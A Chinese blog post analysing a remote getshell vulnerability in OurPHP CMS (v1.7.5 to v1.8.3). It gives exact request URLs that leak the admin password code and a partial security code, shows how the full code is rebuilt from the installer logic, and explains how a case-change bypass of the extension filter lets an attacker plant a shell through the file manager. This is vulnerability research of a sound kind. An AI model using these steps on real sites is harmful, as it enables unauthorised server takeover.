OurPHP20180718前台getshell分析

影响范围:v1.7.5-v1.8.3

先抛出payload,再进行代码分析

前台getshell

首先,访问http://127.0.0.1/ourphp20180718/function/editor/php/upload_json.php?upload_file=1

1553849472925.png

获取到:
<!--12345||7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1-->

构造出:

口令码:12345

安全校验码:7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1glWlPJ(跟上图比多了后面六个字符,具体看后面代码分析)

访问 http://127.0.0.1/ourphp20180718//client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1glWlPJ

1553850023077.png

进行文件编辑,写入代码,修改后缀名,直接getshell

1553850170685.png

1553850216097.png

1553850246161.png

代码分析

跟进 function\editor\php\upload_json.php

1554101421627.png

继续跟进uploadsafe()函数,在function\editor\php\JSON.php238行

function uploadsafe()
    {
        global $ourphp;
        return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32).'-->';
    }

由此可知,只要在前端给参数upload_file传任意值,就会返回validation口令码和safecode安全码的前32位

继续跟,看安全码是如何生成的,在function\install\index.php288行

$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
$str_f = '$';
$str_tmp = "<?php
    /*
     * Ourphp - CMS建站系统
     * Copyright (C) 2014 ourphp.net
     * 开发者:哈尔滨伟成科技有限公司
     * -------------------------------
     * 网站配置文件 (2016-10-22)
     * -------------------------------
     */

    define('OURPHPNO', true);
    define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));

    include '".$mysql_file."';

    ".$str_f."ourphp = array(
        'webpath' => '/',    // 网站路径
        'validation' => '12345',    // 口令码
        'adminpath' => 'client/manage',        // 管理员默认目录
        'mysqlurl' => '".$ourphp_dburl."',    // 数据库链接地址
        'mysqlname' => '".$ourphp_dbname."',    // 数据库登录账号
        'mysqlpass' => '".$ourphp_dbpass."',    // 数据库登录密码
        'mysqldb' => '".$ourphp_mydb."',    // 数据库表名
        'filesize' => '5000000',    // 附件上传最大值
        'safecode' => '".$ourphp_safecode.$safecode6."',    // 安全校验码
        'mysqltype' => '".$mysql_type."',
    );

    ".$str_f."db = new OurPHP_Mysql(
        ".$str_f."ourphp['mysqlurl'],
        ".$str_f."ourphp['mysqlname'],
        ".$str_f."ourphp['mysqlpass'],
        ".$str_f."ourphp['mysqldb']
    );
?>";

1554102571176.png

由此可知,安全码是通过随机取一个32位字符,然后取32位的第6位之后的6位字符,拼接到后面形成

由此就能得到后台访问的关键口令码和安全码

再跟后台的文件管理模块,在\client\manage\ourphp_filebox.php45行

1554102899673.png

由此可知,只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)

而且,835行的后缀名过滤,可用大小写绕过了

1554103007652.png

至此,payload就可以构造好啦

参考:https://xz.aliyun.com/t/4315

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值